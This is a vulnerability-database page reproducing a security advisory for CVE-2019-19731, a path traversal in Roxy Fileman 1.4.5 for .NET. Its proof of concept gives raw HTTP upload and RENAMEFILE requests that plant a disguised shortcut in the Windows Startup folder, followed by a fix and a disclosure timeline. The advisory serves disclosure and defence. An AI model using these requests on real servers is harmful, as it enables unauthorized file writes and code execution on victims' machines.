Lucene search
K

Roxy Fileman 1.4.5 For .NET Directory Traversal

🗓️ 13 Dec 2019 00:00:00Reported by Patrik LantzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 434 Views

Roxy Fileman 1.4.5 for .NET - Path Traversal allows file write to arbitrary location

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Roxy Fileman 1.4.5 For .NET Directory Traversal Vulnerability
14 Dec 201900:00
zdt
Circl
CVE-2019-19731
12 Mar 202414:41
circl
CNVD
Roxy Fileman Path Traversal Vulnerability (CNVD-2020-03726)
16 Dec 201900:00
cnvd
CVE
CVE-2019-19731
16 Dec 201916:26
cve
Cvelist
CVE-2019-19731
16 Dec 201916:26
cvelist
Exploit DB
Roxy Fileman 1.4.5 - Directory Traversal
16 Dec 201900:00
exploitdb
exploitpack
Roxy Fileman 1.4.5 - Directory Traversal
16 Dec 201900:00
exploitpack
NVD
CVE-2019-19731
16 Dec 201917:15
nvd
Prion
Path traversal
16 Dec 201917:15
prion
RedhatCVE
CVE-2019-19731
22 May 202510:09
redhatcve
Rows per page
`  
===========================  
Exploit Title: Roxy Fileman 1.4.5 for .NET - Directory Traversal  
Software: Roxy Fileman  
Version: 1.4.5  
Vendor Homepage: http://www.roxyfileman.com/  
Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-net  
CVE number: CVE-2019-19731  
Found: 2019-12-06  
Tested on: ASP.NET 4.0.30319 and Microsoft-IIS 10.0, Windows 10 Pro Build 17134   
(using custom account as application pool identity for the IIS worker process).  
Author: Patrik Lantz  
  
===========================  
Description  
===========================  
Roxy Fileman 1.4.5 for .NET is vulnerable to path traversal which can lead to file write in arbitrary locations depending on   
the IIS worker process privileges.   
This PoC demonstrates a crafted Windows shortcut file being uploaded and written to the Startup folder. The execution  
of this file will be triggered on the next login.  
  
  
Proof of Concept  
===========================  
  
It's possible to write an uploaded file to arbitrary locations using the RENAMEFILE action.  
The RenameFile function in main.ashx does not check if the new file name 'name' is a valid location.  
Moreover, the default conf.json has an incomplete blacklist for file extensions which in this case  
allows Windows shortcut files to be uploaded, alternatively existing files can be renamed to include   
the .lnk extension.  
  
1) Create a shortcut file  
  
By using for example the target executable C:\Windows\System32\Calc.exe  
Remove the .lnk extension and rename it to use the .dat extension.  
  
  
2) Upload the file   
  
Either upload the .dat file manually via the Roxy Fileman web interface  
or programmatically using a HTTP POST request.   
  
Details of the request:  
  
POST /wwwroot/fileman/asp_net/main.ashx?a=UPLOAD HTTP/1.1  
Host: 127.0.0.1:50357  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------159382831523528  
Content-Length: 924  
Origin: http://127.0.0.1:50357  
Connection: close  
Referer: http://127.0.0.1:50357/wwwroot/fileman/  
Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list  
  
-----------------------------159382831523528  
Content-Disposition: form-data; name="action"  
  
upload  
-----------------------------159382831523528  
Content-Disposition: form-data; name="method"  
  
ajax  
-----------------------------159382831523528  
Content-Disposition: form-data; name="d"  
  
/wwwroot/fileman/Uploads/test2  
-----------------------------159382831523528  
Content-Disposition: form-data; name="files[]"; filename="poc.dat"  
Content-Type: application/octet-stream  
  
...data omitted...  
-----------------------------159382831523528--  
  
  
  
3) Write the file to the Startup folder using the RENAMEFILE action  
The new filename is set via the n parameter. The correct path can be identified by trial and error depending   
on the location of wwwroot on the filesystem and the privileges for the IIS worker process (w3wp.exe).  
  
If the necessary directories do not exist, they can be created using the CREATEDIR action which also  
is vulnerable to path traversal.  
  
  
POST /wwwroot/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2Fwwwroot%2Ffileman%2FUploads%2FDocuments%2Fpoc.dat&n=../../../../../../../../AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/poc.txt.lnk HTTP/1.1  
Host: 127.0.0.1:50357  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 66  
Origin: http://127.0.0.1:50357  
Connection: close  
Referer: http://127.0.0.1:50357/wwwroot/fileman/  
Cookie: roxyld=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2; roxyview=list  
  
f=%2Fwwwroot%2Ffileman%2FUploads%2Ftest2%2Fpoc.dat&n=poc.dat  
  
  
  
Workaround / Fix:  
===========================  
  
Patch the main.ashx code in order to perform checks for all paths that they are valid in the following actions:   
CREATEDIR, COPYFILE and RENAMEFILE.  
  
Recommendations for users of Roxy Fileman:  
- Add lnk file extension to the conf.json under FORBIDDEN_UPLOADS, and aspx since it is not included in the blacklist by default.  
  
  
  
Timeline  
===========================  
2019-12-06: Discovered the vulnerability  
2019-12-06: Reported to the vendor (vendor is unresponsive)  
2019-12-11: Request CVE  
2019-12-13: Advisory published  
  
Discovered By:  
===========================  
Patrik Lantz  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation